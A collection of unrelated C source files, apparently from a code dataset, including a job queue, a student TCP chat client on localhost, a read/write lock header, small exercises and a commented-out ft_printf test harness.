assert(node != NULL);
// Assign the head pointer if necessary
if(!q->head) {
q->head = node;
}
// Add the new node to the end of the queue if necessary
if(q->tail) {
q->tail->next = node;
}
// Reassign the tail pointer
q->tail = node;
// Increment nitems
q->nitems += 1;
}
// remove item on head of Queue
// will return -1 if no node at head
int leaveQueue(Queue q)
{
assert(q != NULL);
// Ensure queue is not empty
// ...Following the style of the rest of this file, this should _maybe_ be an assert?
// Which would technically handle the edge case, but it's generally considered impolite
// for a library to crash a program
if(q->head == NULL) {
return -1;
}
// Store the old head and id
QueueNode *oldhead = q->head;
int oldid = q->head->jobid;
// Reassign the head of the queue
q->head = q->head->next;
// Clear the tail pointer if necessary
if(oldhead == q->tail) {
q->tail = NULL;
}
// Free the old head, return the id, and decrement nitems
freeQueueNode(oldhead);
q->nitems -= 1;
return oldid;
}
// count # items in Queue
int lengthQueue(Queue q)
{
assert(q != NULL);
return q->nitems;
}
// Recursive approach to finding node volume
static
int volumeQueueNode(QueueNode *node)
{
// Terminator - return initial volume of 0 when node if empty
if(node == NULL) return 0;
// Return the current node's size + the volume of the rest of the queue
return node->size + volumeQueueNode(node->next);
}
// return total size in all Queue items
int volumeQueue(Queue q)
{
assert(q != NULL);
// Pass this down to the recursive function
return volumeQueueNode(q->head);
}
// return size/duration of first job in Queue
// returns -1 if there is no 'first job'
int nextDurationQueue(Queue q)
{
assert(q != NULL);
// Ensure there is a head
if(q->head == NULL) return -1;
// Return the size of the head
return q->head->size;
}
// display jobid's in Queue
void showQueue(Queue q)
{
QueueNode *curr;
curr = q->head;
while (curr != NULL) {
printf(" (%d,%d)", curr->jobid, curr->size);
curr = curr->next;
}
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* calc.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: ebaudet <ebaudet@student.42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2013/12/22 18:27:02 by ebaudet #+# #+# */
/* Updated: 2013/12/22 22:00:36 by ebaudet ### ########.fr */
/* */
/* ************************************************************************** */
#include "header.h"
int ft_calc_ay(float i, float j, float z)
{
int y;
float ay;
float d;
float e;
i = (i + 1) * GRID_SIZE;
z = (z + 1) * GRID_SIZE / RAT_Z;
j = (j + 1) * GRID_SIZE / RAT_Y;
d = ft_sqrt((my_pow(i) + my_pow(i))) / 2;
e = ft_sqrt((my_pow(j) + my_pow(j))) / 2;
ay = d + e;
return ((y = (int)ay) - (int)z);
}
int ft_calc_ax(float i, float j, float z)
{
int x;
float ax;
float d;
float e;
i = (i + 1) * GRID_SIZE;
z = (z + 1) * GRID_SIZE;
j = (j + 1) * GRID_SIZE;
d = ft_sqrt((my_pow(i) + my_pow(i))) / 2;
e = ft_sqrt((my_pow(j) + my_pow(j))) / 2;
ax = (ft_sqrt(my_pow(j) - my_pow(e))) - (ft_sqrt(my_pow(i) - my_pow(d)));
return ((x = (int)ax) + OFFSET_X);
}
float my_pow(float x)
{
return (x * x);
}
int ft_abs(int value)
{
if (value < 0)
return (-value);
return (value);
}
float ft_sqrt(const float x)
{
int i;
float d;
float p;
float a;
i = 0;
while ((i * i) <= x)
i++;
i--;
d = x - i * i;
p = d / (2 * i);
a = i + p;
return (a - (p * p) / ( 2 * a));
}
|
C
|
/*
Progetto Reti di Calcolatori A.A. 2019/2020 di Michele Sanfilippo - prof.re Biagio Lenzitti
Creazione comunicazione tra server e client attraverso protocollo TCP/IP
Tale protocollo sfrutta la comunicazione del protocollo TCP usufruendo al tempo stesso di un indirizzo IP
per l'invio e ricezione di pacchetti dati.
Quindi, grazie al TCP siamo sicuri che i dati rimarranno intatti e verranno trasferiti nello stesso ordine in cui
sono stati inviati.
Utilizzeremo le Socket sia per Server che Client:
- Per il server dovremo settare opportunamente la socket, utilizzare bind() per assegnare un indirizzo locale
implementare listen() per avere una socket che "ascolti", implementare accept() per stabilire una connessione
- Lato client dovremo creare una socket TCP e connetterci alla server socket
In questo modo potremo utilizzare la nostra connessione per avere un client ed un server che possono comunicare tra di loro
*/
// Creiamo socket client
#include <netdb.h> // librerie di supporto necessarie
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#define MAX 80 // lunghezza max scrittura buffer
#define PORT 8080 // porta di connessione 8080
#define SA struct sockaddr // socket
void comunicazione(int sockfd) // vedi commenti lato server per più dettagli
{
char buff[MAX];
int n;
for (;;) { // loop chat
bzero(buff, sizeof(buff)); // pulisco buffer
printf("Inserire messaggio: ");
n = 0;
while ((buff[n++] = getchar()) != '\n') // copio il messaggio
;
write(sockfd, buff, sizeof(buff)); // lo invio
if ((strncmp(buff, "exit", 4)) == 0) { // il client puo decidere se terminare la sessione
printf("\tConnessione terminata\n");
break;
}
bzero(buff, sizeof(buff));
read(sockfd, buff, sizeof(buff)); // copio risposta server
printf("\tDa Server: %s", buff);
if ((strncmp(buff, "exit", 4)) == 0) { //il server termina la connessione
printf("Connessione terminata\n");
break;
}
}
}
int main() // per più dettagli vedi lato server
{
int sockfd, connfd;
struct sockaddr_in servaddr, cli;
//creo la socket e verifico se il tutto sia andato a buon fine
sockfd = socket(AF_INET, SOCK_STREAM, 0); // ip v4 tipo TCP
if (sockfd == -1) {
printf("creazione fallita\n");
exit(0);
}
else
printf("Socket creata correttamente\n");
bzero(&servaddr, sizeof(servaddr));
// assegno indirizzo IP e porta
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); //setto in locale
servaddr.sin_port = htons(PORT);
// connetto il client alla porta server
if (connect(sockfd, (SA*)&servaddr, sizeof(servaddr)) < 0) {
printf("connessione fallita\n");
exit(0);
}
else
printf("Connessione al server\n");
//richiamo la funzione per la chat
comunicazione(sockfd);
// terminata la chat chiudo la socket
close(sockfd);
}
|
C
|
/*find size of different types*/
#include <stdio.h>
int main(void) {
printf("%ld\n",sizeof(float));
printf("%ld\n",sizeof(int));
printf("%ld\n",sizeof(char));
}
|
C
|
/**
* @file include/mcube/rwlock.h
*
* @author Hiroyuki Chishiro
*/
#ifndef __MCUBE_MCUBE_RWLOCK_H__
#define __MCUBE_MCUBE_RWLOCK_H__
#ifndef __ASSEMBLY__
/**
* @struct rwlock
* @brief Read/Write lock
*/
struct rwlock {
/** Number of readers. */
unsigned int nread;
/** Writer lock. */
spinlock_t wlock;
};
typedef struct rwlock rwlock;
#define INIT_RWLOCK {.nread = 0, .wlock = SPIN_UNLOCKED}
static inline void readers_lock(rwlock *lock)
{
spin_lock(&lock->wlock);
lock->nread++;
spin_unlock(&lock->wlock);
}
static inline void readers_unlock(rwlock *lock)
{
spin_lock(&lock->wlock);
lock->nread--;
spin_unlock(&lock->wlock);
}
static inline void writers_lock(rwlock *lock)
{
spin_lock(&lock->wlock);
while (lock->nread > 0) {
spin_unlock(&lock->wlock);
spin_lock(&lock->wlock);
}
}
static inline void writers_unlock(rwlock *lock)
{
spin_unlock(&lock->wlock);
}
static inline int try_readers_lock(rwlock *lock)
{
if (spin_trylock(&lock->wlock)) {
lock->nread++;
spin_unlock(&lock->wlock);
return true;
}
return false;
}
static inline int try_writers_lock(rwlock *lock)
{
if (spin_trylock(&lock->wlock)) {
if (lock->nread > 0) {
spin_unlock(&lock->wlock);
return false;
}
return true;
}
return false;
}
#endif /* !__ASSEMBLY__ */
#endif /* __MCUBE_MCUBE_RWLOCK_H__ */
|
C
|
/* 问题描述:某些数能分解成若干个连续整数的和的形式, 如:
15 = 1 + 2 + 3 + 4 + 5
15 = 4 + 5 + 6
15 = 7 + 8
输入格式:一个正整数 N (N ≤ 10000)
输出格式:N 对应的所有分解组合。按照每个分解中的最小整数从小到大输出, 每个分解占一行。
每个数字之间有一个空格 (每行最后保留一个空格); 如果没有任何分解组合, 则输出 None
输入样例:15
输出样例:1 2 3 4 5
4 5 6
7 8
算法:任何可以分解的正整数必满足:(start+end)(end-start+1) / 2 */
#include<stdio.h>
#include<stdlib.h>
int main()
{
int n;
int mark = 0; // 标记位
scanf("%d", &n);
int i, j, k;
for(i=1; i<n; i++){
for(j=i+1; j<n; j++){
int sum = (i+j)*(j-i+1)/2;
if(sum == n){
mark = 1;
for(k=i; k<=j; k++)
printf("%d ", k);
printf("\n");
}
if(sum > n) break;
}
}
if(mark == 0) printf("None");
system("pause");
return 0;
}
|
C
|
///\file
///\brief Define Record structure
///Represents word and its interpretation
typedef struct _Record {
char * word;
char * interpret;
} Record;
/**
* Create new Recrod for word ant its meaning
* \param w, i word and its interpretation
* \return pointer to new Record
*/
Record * createRecord(char * w, char * i);
/**
* Free all fields and it self
* \param rec pointer to Record which must be deleted
*/
void removeRecord(Record * rec);
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <string.h>
#include <stdbool.h>
int maxArea(int* height, int heightSize) {
assert(height != NULL && heightSize >= 2);
int l = 0, r = heightSize - 1;
int max = 0;
while(l < r) {
int tmp = (r - l) * (height[r] > height[l] ? height[l] : height[r]);
max = max > tmp ? max : tmp;
if(height[r] > height[l]) {
l++;
} else {
r--;
}
}
return max;
}
int main()
{
int test[] = {1, 2, 3, 4, 5};
int size = sizeof(test)/sizeof(int);
int res = 0;
res = maxArea(test, size);
printf("%d \n", res);
return 0;
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* main.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: jaqrodri <jaqrodri@student.42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2020/03/06 14:10:27 by dmoreira #+# #+# */
/* Updated: 2020/05/25 17:51:30 by jaqrodri ### ########.fr */
/* */
/* ************************************************************************** */
#include "ft_printf.h"
#include <stdio.h>
int ft_printf(const char * str, ...);
//extern t_param *g_param;
int main(void)
{
int letras;
ft_itoa(1234);
// char string[] = ">>>>>>>>>>>>>>>>>>>>>>>>>PRINT INTEGER<<<<<<<<<<<<<<<<<<<<<<<\n\n";
// ft_printf(string);
// char string1[] = "TESTE 1:%d:";
// letras = ft_printf(string1, 123);
// printf("\nTESTE R:123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 12\n\n", letras);
// char string2[] = "TESTE 2:%3d:";
// letras = ft_printf(string2, 123);
// printf("\nTESTE R:123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 12\n\n", letras);
// char string3[] = "TESTE 3:%4d:";
// letras = ft_printf(string3, 123);
// printf("\nTESTE R: 123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// char string4[] = "TESTE 4:%4d:";
// letras = ft_printf(string4, -123);
// printf("\nTESTE R:-123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// char string5[] = "TESTE 5:%5d:";
// letras = ft_printf(string5, -123);
// printf("\nTESTE R: -123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// char string6[] = "TESTE 6:%6d:";
// letras = ft_printf(string6, -123);
// printf("\nTESTE R: -123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 15\n\n", letras);
// char string7[] = "TESTE 7:%-3d:";
// letras = ft_printf(string7, 123);
// printf("\nTESTE R:123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 12\n\n", letras);
// char string8[] = "TESTE 8:%-4d:";
// letras = ft_printf(string8, 123);
// printf("\nTESTE R:123 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// char string9[] = "TESTE 9:%-4d:";
// letras = ft_printf(string9, -123);
// printf("\nTESTE R:-123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// char string10[] = "TESTE 10:%-5d:";
// letras = ft_printf(string10, -123);
// printf("\nTESTE 1R:-123 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 15\n\n", letras);
// char string11[] = "TESTE 11:%-6d:";
// letras = ft_printf(string11, -123);
// printf("\nTESTE 1R:-123 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 16\n\n", letras);
// char string12[] = "TESTE 12:%03d:";
// letras = ft_printf(string12, 123);
// printf("\nTESTE 1R:123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// char string13[] = "TESTE 13:%04d:";
// letras = ft_printf(string13, 123);
// printf("\nTESTE 1R:0123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// char string14[] = "TESTE 14:%04d:";
// letras = ft_printf(string14, -123);
// printf("\nTESTE 1R:-123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// char string15[] = "TESTE 15:%05d:";
// letras = ft_printf(string15, -123);
// printf("\nTESTE 1R:-0123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 15\n\n", letras);
// char string16[] = "TESTE 16:%06d:";
// letras = ft_printf(string16, -123);
// printf("\nTESTE 1R:-00123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 16\n\n", letras);
// char string17[] = "TESTE 17:%-03d:";
// letras = ft_printf(string17, 123);
// printf("\nTESTE 1R:123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// char string18[] = "TESTE 18:%-04d:";
// letras = ft_printf(string18, 123);
// printf("\nTESTE 1R:123 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// char string19[] = "TESTE 19:%-04d:";
// letras = ft_printf(string19, -123);
// printf("\nTESTE 1R:-123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// char string20[] = "TESTE 20:%-05d:";
// letras = ft_printf(string20, -123);
// printf("\nTESTE 2R:-123 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 15\n\n", letras);
// char string21[] = "TESTE 21:%-06d:";
// letras = ft_printf(string21, -123);
// printf("\nTESTE 2R:-123 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 16\n\n", letras);
// char string22[] = "TESTE 22:%3.d:";
// letras =ft_printf(string22, 777);
// printf("\nTESTE 2R:777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// char string23[] = "TESTE 23:%4.0d:";
// letras = ft_printf(string23, 777);
// printf("\nTESTE 2R: 777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// char string24[] = "TESTE 24:%4.3d:";
// letras = ft_printf(string24, -777);
// printf("\nTESTE 2R:-777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// char string25[] = "TESTE 25:%5.4d:";
// letras = ft_printf(string25, -777);
// printf("\nTESTE 2R:-0777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 15\n\n", letras);
// char string26[] = "TESTE 26:%6.4d:";
// letras = ft_printf(string26, -777);
// printf("\nTESTE 2R: -0777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 16\n\n", letras);
// char string27[] = "TESTE 27:%-3.5d:";
// letras =ft_printf(string27, 777);
// printf("\nTESTE 2R:00777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 15\n\n", letras);
// char string28[] = "TESTE 28:%-5.4d:";
// letras =ft_printf(string28, 777);
// printf("\nTESTE 2R:0777 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 15\n\n", letras);
// char string29[] = "TESTE 29:%-4.-7d:";
// letras = ft_printf(string29, -777);
// printf("\nTESTE 2R:-777 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 17\n\n", letras);
// char string30[] = "TESTE 30:%-5.4-6d:";
// letras = ft_printf(string30, -777);
// printf("\nTESTE 3R:-0777 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 16\n\n", letras);
// char string31[] = "TESTE 31:%-6....----.6-10d:";
// letras = ft_printf(string31, -777);
// printf("\nTESTE 3R:-000777 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 20\n\n", letras);
// char string32[] = "TESTE 32:%03.3d:";
// letras = ft_printf(string32, 777);
// printf("\nTESTE 3R:777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// char string33[] = "TESTE 33:%06.5d:";
// letras = ft_printf(string33, 777);
// printf("\nTESTE 3R: 00777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 16\n\n", letras);
// char string34[] = "TESTE 34:%04 ///&& .5-8d:";
// letras = ft_printf(string34, -777);
// printf("\nTESTE 3R:-00777 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 18\n\n", letras);
// char string35[] = "TESTE 35:%.7/////&&& & & &&10d:";
// letras = ft_printf(string35, -777);
// printf("\nTESTE 3R: -0000777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 20\n\n", letras);
// char string36[] = "TESTE 36:%.7//////./////06d:";
// letras = ft_printf(string36, -777);
// printf("\nTESTE 3R: -777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 16\n\n", letras);
// char string37[] = "TESTE 37:%.7/////////.//-//// /////05d:";
// letras = ft_printf(string37, 777);
// printf("\nTESTE 3R:777 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 15\n\n", letras);
// char string38[] = "TESTE 38:%.5d:";
// letras = ft_printf(string38, 777);
// printf("\nTESTE 3R:00777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 15\n\n", letras);
// char string39[] = "TESTE 39:%-.4/6d:";
// letras = ft_printf(string39, -777);
// printf("\nTESTE 3R:-0777 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 16\n\n", letras);
// char string40[] = "TESTE 40:%.4/6d:";
// letras = ft_printf(string40, -777);
// printf("\nTESTE 4R: -0777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 16\n\n", letras);
// char string41[] = "TESTE 41:%-06 \0.5d:";
// letras = ft_printf(string41, -777);
// printf("\nTESTE 4R:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 9\n\n", letras);
// char string42[] = "TESTE 42:%*d:";
// letras = ft_printf(string42, 3, 123);
// printf("\nTESTE 4R:123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// char string43[] = "TESTE 43:%*d:";
// letras = ft_printf(string43, 4, 123);
// printf("\nTESTE 4R: 123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// char string44[] = "TESTE 44:%*d:";
// letras = ft_printf(string44, 4, -123);
// printf("\nTESTE 4R:-123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// char string45[] = "TESTE 45:%*d:";
// letras = ft_printf(string45, 5, -123);
// printf("\nTESTE 4R: -123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 15\n\n", letras);
// char string46[] = "TESTE 46:%*d:";
// letras = ft_printf(string46, 6, -123);
// printf("\nTESTE 4R: -123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 16\n\n", letras);
// char string47[] = "TESTE 47:%-*d:";
// letras = ft_printf(string47, 3, 123);
// printf("\nTESTE 4R:123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// char string48[] = "TESTE 48:%-*d:";
// letras = ft_printf(string48, 4, 123);
// printf("\nTESTE 4R:123 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// char string49[] = "TESTE 49:%-*d:";
// letras = ft_printf(string49, 4, -123);
// printf("\nTESTE 4R:-123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// char string50[] = "TESTE 50:%-*d:";
// letras = ft_printf(string50, 5, -123);
// printf("\nTESTE 5R:-123 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 15\n\n", letras);
// char string51[] = "TESTE 51:%-*d:";
// letras = ft_printf(string51, 6, -123);
// printf("\nTESTE 5R:-123 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 16\n\n", letras);
// char string52[] = "TESTE 52:%0*d:";
// letras = ft_printf(string52, 3, 123);
// printf("\nTESTE 5R:123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// char string53[] = "TESTE 53:%0*d:";
// letras = ft_printf(string53, 4, 123);
// printf("\nTESTE 5R:0123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// char string54[] = "TESTE 54:%0*d:";
// letras = ft_printf(string54, 4, -123);
// printf("\nTESTE 5R:-123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// char string55[] = "TESTE 55:%0*d:";
// letras = ft_printf(string55, 5, -123);
// printf("\nTESTE 5R:-0123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 15\n\n", letras);
// char string56[] = "TESTE 56:%0*d:";
// letras = ft_printf(string56, 6, -123);
// printf("\nTESTE 5R:-00123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 16\n\n", letras);
// char string57[] = "TESTE 57:%-0*d:";
// letras = ft_printf(string57, 3, 123);
// printf("\nTESTE 5R:123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// char string58[] = "TESTE 58:%-0*d:";
// letras = ft_printf(string58, 4, 123);
// printf("\nTESTE 5R:123 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// char string59[] = "TESTE 59:%-0*d:";
// letras = ft_printf(string59, 4, -123);
// printf("\nTESTE 5R:-123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// char string60[] = "TESTE 60:%-0*d:";
// letras = ft_printf(string60, 5, -123);
// printf("\nTESTE 6R:-123 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 15\n\n", letras);
// char string61[] = "TESTE 61:%-0*d:";
// letras = ft_printf(string61, 6, -123);
// printf("\nTESTE 6R:-123 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 16\n\n", letras);
// char string62[] = "TESTE 62:%*.d:";
// letras = ft_printf(string62, 3, 777);
// printf("\nTESTE 6R:777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// char string63[] = "TESTE 63:%*.0d:";
// letras = ft_printf(string63, 4, 777);
// printf("\nTESTE 6R: 777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// char string64[] = "TESTE 64:%*.*d:";
// letras = ft_printf(string64, 4, 3, -777);
// printf("\nTESTE 6R:-777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// char string65[] = "TESTE 65:%*.*d:";
// letras = ft_printf(string65, 5, 4, -777);
// printf("\nTESTE 6R:-0777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 15\n\n", letras);
// char string66[] = "TESTE 66:%*.*d:";
// letras = ft_printf(string66, 6, 4, -777);
// printf("\nTESTE 6R: -0777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 16\n\n", letras);
// char string67[] = "TESTE 67:%*.*d:";
// letras = ft_printf(string67, -3, 5, 777);
// printf("\nTESTE 6R:00777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 15\n\n", letras);
// char string68[] = "TESTE 68:%*.*d:";
// letras = ft_printf(string68, -5, 4, 777);
// printf("\nTESTE 6R:0777 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 15\n\n", letras);
// char string69[] = "TESTE 69:%*.*d:";
// letras = ft_printf(string69, -4, -7, -777);
// printf("\nTESTE 6R:-777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// char string70[] = "TESTE 70:%*.*-*d:";
// letras = ft_printf(string70, -5, 4, 6, -777);
// printf("\nTESTE 7R:-0777 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 16\n\n", letras);
// char string71[] = "TESTE 71:%*....----.**d:";
// letras = ft_printf(string71, -6, 6, -10, -777);
// printf("\nTESTE 7R:-000777 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 20\n\n", letras);
// char string72[] = "TESTE 72:%0*.*d:";
// letras = ft_printf(string72, 3, 3, 777);
// printf("\nTESTE 7R:777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// char string73[] = "TESTE 73:%0*.*d:";
// letras = ft_printf(string73, 6, 5, 777);
// printf("\nTESTE 7R: 00777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 16\n\n", letras);
// char string74[] = "TESTE 74:%0* ///&& .**d:";
// letras = ft_printf(string74, 4, 5, -8, -777);
// printf("\nTESTE 7R:-00777 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 18\n\n", letras);
// char string75[] = "TESTE 75:%.*/////&&& & & &&*d:";
// letras = ft_printf(string75, 7, 10, -777);
// printf("\nTESTE 7R: -0000777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 20\n\n", letras);
// char string76[] = "TESTE 76:%.*//////./////0*d:";
// letras = ft_printf(string76, 7, 6, -777);
// printf("\nTESTE 7R: -777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 16\n\n", letras);
// char string77[] = "TESTE 77:%.*/////////.//-//// /////0*d:";
// letras = ft_printf(string77, 7, 5, 777);
// printf("\nTESTE 7R:777 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 15\n\n", letras);
// char string78[] = "TESTE 78:%.*x:";
// letras = ft_printf(string78, 5, 777);
// printf("\nTESTE 7R:00777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 15\n\n", letras);
// char string79[] = "TESTE 79:%-.*/*d:";
// letras = ft_printf(string79, 4, 6, -777);
// printf("\nTESTE 7R:-0777 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 16\n\n", letras);
// char string80[] = "TESTE 80:%.*/*d:";
// letras = ft_printf(string80, 4, 6, -777);
// printf("\nTESTE 8R: -0777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 16\n\n", letras);
// char string81[] = "TESTE 81:%-0* \0.5d:";
// letras = ft_printf(string81, 6, -777);
// printf("\nTESTE 8R:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 9\n\n", letras);
// ft_printf(">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>TESTE PRINT PORCENTO<<<<<<<<<<<<<<<<<<<<<<<<\n\n");
// char a = '%';
// letras = ft_printf("TESTE 01:%%:");
// printf("\nTESTE 0R:%c:", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 11\n\n", letras);
// letras = ft_printf("TESTE 02:%%%%:");
// printf("\nTESTE 0R:%c%c:", a, a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 12\n\n", letras);
// letras = ft_printf("TESTE 03:%%%: :%teste:");
// printf("\nTESTE 0R:%c%cteste:", a, a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 17\n\n", letras);
// letras = ft_printf("TESTE 04:%%%%: :%teste:");
// printf("\nTESTE 0R:%c%c: :este:", a, a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 19\n\n", letras);
// letras = ft_printf("TESTE 04:%1%:");
// printf("\nTESTE 0R:%c:", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 11\n\n", letras);
// letras = ft_printf("TESTE 05:%2%:");
// printf("\nTESTE 0R: %c:", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 12\n\n", letras);
// letras = ft_printf("TESTE 06:%3%:");
// printf("\nTESTE 0R: %c:", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// letras = ft_printf("TESTE 07:%4%:");
// printf("\nTESTE 0R: %c:", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// letras = ft_printf("TESTE 08:%01%:");
// printf("\nTESTE 0R:%c:", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 11\n\n", letras);
// letras = ft_printf("TESTE 09:%02%:");
// printf("\nTESTE 0R:0%c:", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 12\n\n", letras);
// letras = ft_printf("TESTE 10:%03%:");
// printf("\nTESTE 1R:00%c:", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// letras = ft_printf("TESTE 11:%04%:");
// printf("\nTESTE 1R:000%c:", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// letras = ft_printf("TESTE 12:%-01%:");
// printf("\nTESTE 1R:%c:", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 11\n\n", letras);
// letras = ft_printf("TESTE 13:%-02%:");
// printf("\nTESTE R1:%c :", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 12\n\n", letras);
// letras = ft_printf("TESTE 14:%-03%:");
// printf("\nTESTE R1:%c :", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// letras = ft_printf("TESTE 15:%-04%:");
// printf("\nTESTE R1:%c :", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// letras = ft_printf("TESTE 16:%1.20%:");
// printf("\nTESTE R1:%c:", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 11\n\n", letras);
// letras = ft_printf("TESTE 17:%2.20%:");
// printf("\nTESTE R1: %c:", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 12\n\n", letras);
// letras = ft_printf("TESTE 18:%3.20%:");
// printf("\nTESTE R1: %c:", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// letras = ft_printf("TESTE 19:%4.20%:");
// printf("\nTESTE R1: %c:", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
